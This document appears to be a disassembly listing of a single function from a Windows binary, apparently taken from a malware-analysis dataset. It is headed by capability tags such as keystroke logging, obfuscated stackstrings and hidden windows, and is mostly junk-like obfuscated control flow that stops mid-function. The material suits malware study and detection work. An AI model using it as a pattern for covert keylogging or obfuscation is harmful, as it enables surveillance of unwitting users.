Function at 0x44b1d3
Capabilities:
Accept command line arguments
Compare security identifiers
Contain obfuscated stackstrings
Create pipe
Create process on windows
Delete registry value
Enumerate gui resources
Get file attributes
Get memory capacity
Hide graphical window
Log keystrokes via polling
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3478
call fcn.00480790
push esi
push edi
mov dword [ebp - 0xa90], 1
mov dword [ebp - 0x1ff0], 1
mov dword [ebp - 0x8e4], 0x45b3659e
mov dword [ebp - 0x2280], 0x51d77f17
mov dword [ebp - 0x16c], 0
jmp 0x44b223
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jge 0x44b23f
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x594], 0xe01b
jmp 0x44b216
mov dword [ebp - 0x16c], 0
jmp 0x44b258
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 1
jge 0x44b274
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x40c], 0x6fa66fa4
jmp 0x44b24b
cmp dword [ebp - 0xa90], 0
je 0x44b29c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x594], 0xd8a9
jne 0x44b29c
mov dword [ebp - 0x1e44], 1
jmp 0x44b2a3
and dword [ebp - 0x1e44], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x594], 0xec4f3f7e
je 0x44b2c2
mov dword [ebp - 0x16d0], 1
jmp 0x44b2c9
and dword [ebp - 0x16d0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x594]
cmp dword [ebp - 0x16d0], eax
jne 0x44b2ea
mov dword [ebp - 0x1e34], 1
jmp 0x44b2f1
and dword [ebp - 0x1e34], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x594]
cmp dword [ebp - 0x1e34], eax
jne 0x44b312
mov dword [ebp - 0x1e3c], 1
jmp 0x44b319
and dword [ebp - 0x1e3c], 0
mov eax, dword [ebp - 0x1ff0]
mov ecx, dword [ebp - 0x1e3c]
lea eax, [ecx + eax - 1]
cmp eax, 0xfdb7
jl 0x44b33c
mov dword [ebp - 0x1e4c], 1
jmp 0x44b343
and dword [ebp - 0x1e4c], 0
mov eax, dword [ebp - 0x1e44]
cmp eax, dword [ebp - 0x1e4c]
jg 0x44b35d
mov dword [ebp - 0x1e54], 1
jmp 0x44b364
and dword [ebp - 0x1e54], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x594]
cmp eax, dword [ebp - 0x1e54]
je 0x44b385
mov dword [ebp - 0x1e5c], 1
jmp 0x44b38c
and dword [ebp - 0x1e5c], 0
cmp dword [ebp - 0x1e5c], 0x7d92
jge 0x44b3a4
mov dword [ebp - 0x1e64], 1
jmp 0x44b3ab
and dword [ebp - 0x1e64], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x594]
cmp dword [ebp - 0x1e64], eax
jle 0x44b6b6
mov dword [ebp - 0x2f7c], 0
mov dword [ebp - 0x2944], 0x446cd5fe
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x294c], 0x1fcc1031
mov dword [ebp - 0x2954], 0xffffffff
mov dword [ebp - 0x295c], 1
mov dword [ebp - 0x2964], 0x907c4e7c
mov dword [ebp - 0x296c], 1
mov dword [ebp - 0x100], 0
jmp 0x44b42a
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 1
jge 0x44b446
mov eax, dword [ebp - 0x100]
mov dword [ebp + eax*4 - 0x2270], 0x75623758
jmp 0x44b41d
mov dword [ebp - 0x100], 0
jmp 0x44b45f
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 3
jge 0x44b47b
mov eax, dword [ebp - 0x100]
mov dword [ebp + eax*4 - 0x24c8], 0xffffffff
jmp 0x44b452
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24c8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x24c8], eax
mov dword [ebp - 0x54], 0
jmp 0x44b4a6
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x44b6b4
mov dword [ebp - 0x2268], 1
mov dword [ebp - 0x8e4], 0
jmp 0x44b4d3
mov eax, dword [ebp - 0x8e4]
inc eax
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x8e4], 2
jg 0x44b6af
mov eax, dword [ebp - 0x54]
cmp dword [ebp + eax*4 - 0x40c], 0
jne 0x44b5ce
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp + ecx*4 - 0x40c]
cmp dword [ebp + eax*4 - 0x40c], ecx
je 0x44b513
mov dword [ebp - 0x1e74], 1
jmp 0x44b51a
and dword [ebp - 0x1e74], 0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp + ecx*4 - 0x590]
cmp dword [ebp + eax*4 - 0x590], ecx
jl 0x44b53c
mov dword [ebp - 0x1e6c], 1
jmp 0x44b543
and dword [ebp - 0x1e6c], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x594]
cmp dword [ebp - 0x1e6c], eax
jl 0x44b561
mov dword [ebp - 0x2260], 1
jmp 0x44b568
and dword [ebp - 0x2260], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x40c]
mov dword [ebp - 0x2974], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24c8]
mov dword [ebp - 0x297c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x24c8], 0
jne 0x44b5ad
cmp dword [ebp - 0x2268], 0
jne 0x44b5ad
and dword [ebp - 0x1e7c], 0
jmp 0x44b5b7
mov dword [ebp - 0x1e7c], 1
mov eax, dword [ebp - 0x1e74]
cmp eax, dword [ebp - 0x1e7c]
je 0x44b5ce
and dword [ebp - 0x9c0], 0
jmp 0x44b5d8
mov dword [ebp - 0x9c0], 1
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x9c0]
mov dword [ebp + eax*4 - 0x2270], ecx
mov eax, dword [ebp - 0xa90]
cmp dword [ebp - 0x9c0], eax
jle 0x44b602
mov dword [ebp - 0x1e84], 1
jmp 0x44b609
and dword [ebp - 0x1e84], 0
cmp dword [ebp - 0x1e84], 8
jg 0x44b61e
mov dword [ebp - 0x2278], 1
jmp 0x44b625
and dword [ebp - 0x2278], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x40c]
mov dword [ebp - 0x2984], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24c8]
cmp dword [ebp - 0xa90], eax
jge 0x44b65f
mov eax, 0xdd4f
test eax, eax
je 0x44b65f
mov dword [ebp - 0x1e8c], 1
jmp 0x44b666
and dword [ebp - 0x1e8c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x594]
cmp dword [ebp - 0x1e8c], eax
jge 0x44b687
mov dword [ebp - 0xa98], 1
jmp 0x44b68e
and dword [ebp - 0xa98], 0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xa98]
mov dword [ebp + eax*4 - 0x40c], ecx
mov eax, dword [ebp - 0xa98]
mov dword [ebp - 0x2280], eax
jmp 0x44b4c6
jmp 0x44b49f
jmp 0x44b6d0
mov byte [ebp - 0x3dd], 0
movzx eax, byte [ebp - 0x3dd]
test eax, eax
je 0x44b6d0
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
mov dword [ebp - 0x34], 0
jmp 0x44b6e0
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x44b6f6
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x5a4], 1
jmp 0x44b6d9
mov dword [ebp - 0x34], 0
jmp 0x44b706
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x44b71c
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x8ec], 0xab61b583
jmp 0x44b6ff
mov dword [ebp - 0x34], 0
jmp 0x44b72c
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x44b742
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x30f8], 0xffffffff
jmp 0x44b725
or eax, 0xffffffff
je 0x44b76e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8ec]
inc eax
mov dword [ebp - 0x1e94], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e94]
mov dword [ebp + eax - 0x8ec], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8ec], 0
jg 0x44b78a
mov dword [ebp - 0x1e9c], 1
jmp 0x44b791
and dword [ebp - 0x1e9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8ec]
cmp eax, dword [ebp - 0x1e9c]
jge 0x44b7b2
mov dword [ebp - 0x1ea4], 1
jmp 0x44b7b9
and dword [ebp - 0x1ea4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5a4]
cmp dword [ebp - 0x1ea4], eax
je 0x44b7da
mov dword [ebp - 0x1eac], 1
jmp 0x44b7e1
and dword [ebp - 0x1eac], 0
imul eax, dword [ebp - 0x1eac], 0
cmp eax, 1
jbe 0x44b7f9
mov dword [ebp - 0x1eb4], 1
jmp 0x44b800
and dword [ebp - 0x1eb4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5a4]
cmp dword [ebp - 0x1eb4], eax
jne 0x44b821
mov dword [ebp - 0x1ebc], 1
jmp 0x44b828
and dword [ebp - 0x1ebc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5a4]
cmp dword [ebp - 0x1ebc], eax
jne 0x44b849
mov dword [ebp - 0x2288], 1
jmp 0x44b850
and dword [ebp - 0x2288], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5a4]
mov dword [ebp - 0x298c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5a4]
mov dword [ebp - 0x2994], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x5a4]
cmp dword [ebp + eax - 0x5a4], ecx
jne 0x44b89e
mov dword [ebp - 0x1ec4], 1
jmp 0x44b8a5
and dword [ebp - 0x1ec4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5a4]
cmp dword [ebp - 0x1ec4], eax
jl 0x44b8c6
mov dword [ebp - 0x2290], 1
jmp 0x44b8cd
and dword [ebp - 0x2290], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5a4]
mov dword [ebp - 0x299c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5a4], 0
ja 0x44b8fc
mov dword [ebp - 0x1ef0], 1
jmp 0x44b903
and dword [ebp - 0x1ef0], 0
mov eax, dword [ebp - 0x1ef0]
neg eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x30f8], eax
mov dword [ebp - 0xaa0], 0x6b950ba1
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x2298], 1
mov dword [ebp - 0xaa8], 0x426f3791
mov dword [ebp - 0x1f18], 0xec1b16eb
mov dword [ebp - 0x1f5c], 0x5c3421ad
mov dword [ebp - 0x22a8], 0x17f95e19
mov dword [ebp - 0x8f4], 0
jmp 0x44b977
mov eax, dword [ebp - 0x8f4]
inc eax
mov dword [ebp - 0x8f4], eax
cmp dword [ebp - 0x8f4], 2
jge 0x44b993
mov eax, dword [ebp - 0x8f4]
mov dword [ebp + eax*4 - 0x2ad8], 0xd5f4
jmp 0x44b96a
cmp dword [ebp - 0xaa0], 0
je 0x44baf0
cmp dword [ebp - 0x490], 0x6206b7e1
jge 0x44b9c1
mov eax, 0x55a63a74
test eax, eax
je 0x44b9c1
mov dword [ebp - 0x1ef8], 1
jmp 0x44b9c8
and dword [ebp - 0x1ef8], 0
cmp dword [ebp - 0x1ef8], 0xfffffff7
ja 0x44b9dd
mov dword [ebp - 0x1f00], 1
jmp 0x44b9e4
and dword [ebp - 0x1f00], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x1f00], eax
jne 0x44b9fe
mov dword [ebp - 0x1f08], 1
jmp 0x44ba05
and dword [ebp - 0x1f08], 0
mov eax, dword [ebp - 0x490]
add eax, dword [ebp - 0x1f08]
cmp dword [ebp - 0x490], eax
jl 0x44ba25
mov dword [ebp - 0x1f10], 1
jmp 0x44ba2c
and dword [ebp - 0x1f10], 0
mov eax, dword [ebp - 0x1f10]
mov dword [ebp - 0x2298], eax
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0xaa8], eax
mov eax, dword [ebp - 0xaa8]
mov dword [ebp - 0x1f18], eax
cmp dword [ebp - 0x1f18], 0
jge 0x44ba65
mov dword [ebp - 0x22a0], 1
jmp 0x44ba6c
and dword [ebp - 0x22a0], 0
mov eax, 0x146
cmp eax, 0xe6d5
jg 0x44ba84
mov dword [ebp - 0x1f20], 1
jmp 0x44ba8b
and dword [ebp - 0x1f20], 0
mov eax, dword [ebp - 0xaa0]
cmp eax, dword [ebp - 0x1f20]
jle 0x44baa5
mov dword [ebp - 0x1f28], 1
jmp 0x44baac
and dword [ebp - 0x1f28], 0
mov eax, dword [ebp - 0xaa0]
sub eax, dword [ebp - 0x1f28]
je 0x44bacf
cmp dword [ebp - 0xaa8], 0
je 0x44bacf
mov dword [ebp - 0x1f30], 1
jmp 0x44bad6
and dword [ebp - 0x1f30], 0
mov eax, dword [ebp - 0x1f30]
sub eax, dword [ebp - 0x490]
je 0x44baf0
mov dword [ebp - 0x1f38], 1
jmp 0x44baf7
and dword [ebp - 0x1f38], 0
mov eax, dword [ebp - 0x1f38]
mov dword [ebp - 0x1f5c], eax
mov eax, dword [ebp - 0x1f5c]
sub eax, 0xe60b
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2ad8]
jle 0x44bb29
mov dword [ebp - 0x1f64], 1
jmp 0x44bb30
and dword [ebp - 0x1f64], 0
cmp dword [ebp - 0x1f64], 0xffffffff
jbe 0x44bb45
mov dword [ebp - 0x1f60], 1
jmp 0x44bb4c
and dword [ebp - 0x1f60], 0
mov eax, dword [ebp - 0x1f60]
mov dword [ebp - 0x22a8], eax
mov dword [ebp - 0xb4c], 1
mov dword [ebp - 0x29a4], 0x99ac7894
mov byte [ebp - 0x29b], 0
movzx eax, byte [ebp - 0x29b]
test eax, eax
je 0x44bb9e
push 0x1c59
push 0x22c6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov byte [ebp - 0x29d], 0
movzx eax, byte [ebp - 0x29d]
test eax, eax
je 0x44bbbf
push 0
push 0x2144
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
mov dword [ebp - 0x2338], 1
mov dword [ebp - 0x498], 0x124f
cmp dword [ebp - 0x498], 0
je 0x44bc18
mov byte [ebp - 0x29f], 0
movzx eax, byte [ebp - 0x29f]
test eax, eax
je 0x44bc16
push 0
push 0x193d
push 0xcfd
push 0xeb5
push 0xabb
push 0xc48
push 0x26ce
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
jmp 0x44bc82
mov dword [ebp - 0x8fc], 0
jmp 0x44bc31
mov eax, dword [ebp - 0x8fc]
inc eax
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 2
jge 0x44bc4d
mov eax, dword [ebp - 0x8fc]
mov dword [ebp + eax*4 - 0x2ae4], 0
jmp 0x44bc24
mov dword [ebp - 0x498], 0
jmp 0x44bc66
mov eax, dword [ebp - 0x498]
inc eax
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 2
jge 0x44bc82
mov eax, dword [ebp - 0x498]
mov dword [ebp + eax*4 - 0x2ae4], 0x603fa75c
jmp 0x44bc59
mov dword [ebp - 0x658], 0x45b3659e
mov dword [ebp - 0x4a8], 0x9fdf99ff
mov dword [ebp - 0x22b8], 0x71362395
mov dword [ebp - 0x22c0], 0x622b
mov dword [ebp - 0x22c8], 0xffffffff
mov dword [ebp - 0x904], 0
jmp 0x44bccd
mov eax, dword [ebp - 0x904]
inc eax
mov dword [ebp - 0x904], eax
cmp dword [ebp - 0x904], 2
jge 0x44bce9
mov eax, dword [ebp - 0x904]
mov dword [ebp + eax*4 - 0x9bc], 0xbacd
jmp 0x44bcc0
mov dword [ebp - 0x4a8], 0
jmp 0x44bd02
mov eax, dword [ebp - 0x4a8]
dec eax
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0xfffffff6
jge 0x44bf57
mov dword [ebp - 0x210], 0x6a485bf2
mov dword [ebp - 0x4a0], 0x1dab9737
mov dword [ebp - 0xbcc], 0xffffffff
mov dword [ebp - 0x1aa4], 6
mov dword [ebp - 0x22d0], 0xfffffffb
mov dword [ebp - 0x210], 1
jmp 0x44bd5a
mov eax, dword [ebp - 0x210]
dec eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jl 0x44be6b
mov eax, dword [ebp - 0x210]
cmp dword [ebp + eax*4 - 0x9bc], 0
jne 0x44bdf4
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp + eax*4 - 0x9bc]
mov dword [ebp - 0x29ac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9bc], 0x3cc9
jne 0x44bda9
mov dword [ebp - 0x22b0], 1
jmp 0x44bdb0
and dword [ebp - 0x22b0], 0
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp + eax*4 - 0x9bc]
mov dword [ebp - 0x29b4], eax
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp + eax*4 - 0x9bc]
mov dword [ebp - 0x29bc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9bc]
cmp dword [ebp - 0x4a8], eax
jg 0x44bdf4
and dword [ebp - 0x1760], 0
jmp 0x44bdfe
mov dword [ebp - 0x1760], 1
mov eax, dword [ebp - 0x1760]
sub eax, 0x9378
cmp eax, dword [ebp - 0x4a0]
jg 0x44be1d
mov dword [ebp - 0x1a8c], 1
jmp 0x44be24
and dword [ebp - 0x1a8c], 0
mov eax, dword [ebp - 0x1a8c]
mov dword [ebp - 0x22b8], eax
mov dword [ebp - 0x4a0], 1
jmp 0x44be49
mov eax, dword [ebp - 0x4a0]
dec eax
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 0
jl 0x44be66
mov eax, dword [ebp - 0x4a0]
cmp dword [ebp + eax*4 - 0x9bc], 0
je 0x44be64
jmp 0x44be66
jmp 0x44be3c
jmp 0x44bd4d
mov dword [ebp - 0xbcc], 0
mov eax, dword [ebp - 0xbcc]
cmp dword [ebp - 0x22c0], eax
jne 0x44be8f
mov dword [ebp - 0x1a94], 1
jmp 0x44be96
and dword [ebp - 0x1a94], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9bc]
cmp dword [ebp - 0x1a94], eax
jg 0x44beb7
mov dword [ebp - 0xbd4], 1
jmp 0x44bebe
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0x22c8]
cmp dword [ebp - 0xbd4], eax
jle 0x44bed8
mov dword [ebp - 0x1a9c], 1
jmp 0x44bedf
and dword [ebp - 0x1a9c], 0
cmp dword [ebp - 0x1a9c], 0xee3f2f34
je 0x44bef7
mov dword [ebp - 0xbdc], 1
jmp 0x44befe
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0xbdc]
sub eax, dword [ebp - 0x1aa4]
cmp eax, dword [ebp - 0x4a8]
jne 0x44bf1e
mov dword [ebp - 0xbe4], 1
jmp 0x44bf25
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x1aa4]
cmp dword [ebp - 0xbe4], eax
jl 0x44bf3f
mov dword [ebp - 0x1aac], 1
jmp 0x44bf46
and dword [ebp - 0x1aac], 0
mov eax, dword [ebp - 0x1aac]
mov dword [ebp - 0x22d0], eax
jmp 0x44bcf5
mov dword [ebp - 0x23c8], 0x51d77f17
mov dword [ebp - 0xb8], 0xfffffffb
mov dword [ebp - 0x2cc], 0x81ced8f6
mov dword [ebp - 0x200], 0
jmp 0x44bf8e
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 1
jge 0x44bfaa
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x90c], 0xe1e2
jmp 0x44bf81
mov dword [ebp - 0x200], 0
jmp 0x44bfc3
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 3
jge 0x44bfdf
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x3324], 0xe52129e5
jmp 0x44bfb6
cmp dword [ebp - 0xb8], 0
jne 0x44c028
mov dword [ebp - 0x2cc], 0xb792
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x2cc], eax
jg 0x44c00c
mov dword [ebp - 0xbec], 1
jmp 0x44c013
and dword [ebp - 0xbec], 0
cmp dword [ebp - 0xbec], 0xa4d63a88
je 0x44c028
and dword [ebp - 0xbf4], 0
jmp 0x44c032
mov dword [ebp - 0xbf4], 1
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x1ab4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ab4]
mov dword [ebp + eax - 0x90c], ecx
mov eax, dword [ebp - 0x1ab4]
cmp eax, dword [ebp - 0xbf4]
jge 0x44c06b
mov dword [ebp - 0x1abc], 1
jmp 0x44c072
and dword [ebp - 0x1abc], 0
mov eax, dword [ebp - 0x1abc]
sub eax, dword [ebp - 0xb8]
je 0x44c309
mov dword [ebp - 0xc0c], 0x6985ba5
mov dword [ebp - 0x108], 0
jmp 0x44c0a7
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 1
jge 0x44c0c3
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x4b0], 0x796840eb
jmp 0x44c09a
mov dword [ebp - 0x108], 0
jmp 0x44c0dc
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 4
jge 0x44c0f8
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x2f8c], 0xaf9ca3ea
jmp 0x44c0cf
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4b0]
mov dword [ebp - 0x29c4], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x4b0]
cmp dword [ebp + eax - 0x90c], ecx
je 0x44c133
mov dword [ebp - 0xbfc], 1
jmp 0x44c13a
and dword [ebp - 0xbfc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90c]
cmp dword [ebp - 0xbfc], eax
jge 0x44c15b
mov dword [ebp - 0x1ac4], 1
jmp 0x44c162
and dword [ebp - 0x1ac4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4b0]
cmp eax, dword [ebp - 0x1ac4]
jl 0x44c183
mov dword [ebp - 0xc04], 1
jmp 0x44c18a
and dword [ebp - 0xc04], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2f8c]
cmp dword [ebp - 0xc04], eax
jg 0x44c1ab
mov dword [ebp - 0x1acc], 1
jmp 0x44c1b2
and dword [ebp - 0x1acc], 0
mov eax, dword [ebp - 0x1acc]
mov dword [ebp - 0xc0c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90c]
cmp dword [ebp - 0xc0c], eax
je 0x44c1df
mov dword [ebp - 0x1ad4], 1
jmp 0x44c1e6
and dword [ebp - 0x1ad4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2f8c]
cmp dword [ebp - 0x1ad4], eax
jle 0x44c207
mov dword [ebp - 0xc14], 1
jmp 0x44c20e
and dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0xc14], eax
jl 0x44c228
mov dword [ebp - 0x1adc], 1
jmp 0x44c22f
and dword [ebp - 0x1adc], 0
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0x1adc], eax
jg 0x44c249
mov dword [ebp - 0xc1c], 1
jmp 0x44c250
and dword [ebp - 0xc1c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4b0]
cmp eax, dword [ebp - 0xc1c]
jne 0x44c271
mov dword [ebp - 0x22d8], 1
jmp 0x44c278
and dword [ebp - 0x22d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4b0]
mov dword [ebp - 0x29cc], eax
cmp dword [ebp - 0x2cc], 0x373b2c57
je 0x44c2a3
mov dword [ebp - 0x1ae4], 1
jmp 0x44c2aa
and dword [ebp - 0x1ae4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2f8c]
cmp dword [ebp - 0x1ae4], eax
jne 0x44c2cb
mov dword [ebp - 0xc24], 1
jmp 0x44c2d2
and dword [ebp - 0xc24], 0
cmp dword [ebp - 0xc24], 0x9501
jl 0x44c2ea
mov dword [ebp - 0x1aec], 1
jmp 0x44c2f1
and dword [ebp - 0x1aec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1aec]
mov dword [ebp + eax - 0x4b0], ecx
jmp 0x44c56c
mov dword [ebp - 0x2c4], 1
mov dword [ebp - 0x1afc], 0xfffffffb
mov dword [ebp - 0x29d4], 0
mov dword [ebp - 0x29dc], 0
mov dword [ebp - 0xc4c], 0xffffffff
mov dword [ebp - 0x188], 0
jmp 0x44c354
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 1
jge 0x44c370
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0xab0], 0x4fb7d476
jmp 0x44c347
mov dword [ebp - 0x188], 0
jmp 0x44c389
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 4
jge 0x44c3a5
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x340c], 0xe11d69c0
jmp 0x44c37c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xab0]
inc eax
mov dword [ebp - 0xc2c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp + eax - 0xab0], ecx
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0xc2c], eax
je 0x44c3e6
mov dword [ebp - 0x1b04], 1
jmp 0x44c3ed
and dword [ebp - 0x1b04], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x2c4], eax
jne 0x44c40d
cmp dword [ebp - 0xb8], 0
jne 0x44c40d
and dword [ebp - 0x1af4], 0
jmp 0x44c417
mov dword [ebp - 0x1af4], 1
mov eax, dword [ebp - 0x2cc]
cmp eax, dword [ebp - 0x1af4]
je 0x44c431
mov dword [ebp - 0x22e0], 1
jmp 0x44c438
and dword [ebp - 0x22e0], 0
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x29e4], eax
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x2c4], eax
jge 0x44c45e
mov dword [ebp - 0xc34], 1
jmp 0x44c465
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0xc34]
mov dword [ebp - 0x1afc], eax
mov eax, dword [ebp - 0x1afc]
shl eax, 1
cmp eax, dword [ebp - 0x2c4]
je 0x44c48d
mov dword [ebp - 0xc3c], 1
jmp 0x44c494
and dword [ebp - 0xc3c], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0xc3c], eax
jg 0x44c4ae
mov dword [ebp - 0xc44], 1
jmp 0x44c4b5
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0x1b04]
cmp eax, dword [ebp - 0xc44]
jle 0x44c4cf
mov dword [ebp - 0x1b0c], 1
jmp 0x44c4d6
and dword [ebp - 0x1b0c], 0
mov eax, dword [ebp - 0x1b0c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb8], 0
jmp 0x44c4fb
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xfffffff1
jge 0x44c56c
mov dword [ebp - 0x29ec], 0
mov dword [ebp - 0x29f4], 0xffffffff
mov dword [ebp - 0x29fc], 0xfffffffa
mov dword [ebp - 0x2fa0], 0x344ffa2b
mov dword [ebp - 0x2f9c], 0x344ffa2b
mov dword [ebp - 0x2f98], 0x344ffa2b
mov dword [ebp - 0x2f94], 0x344ffa2b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xab0]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0xc4c]
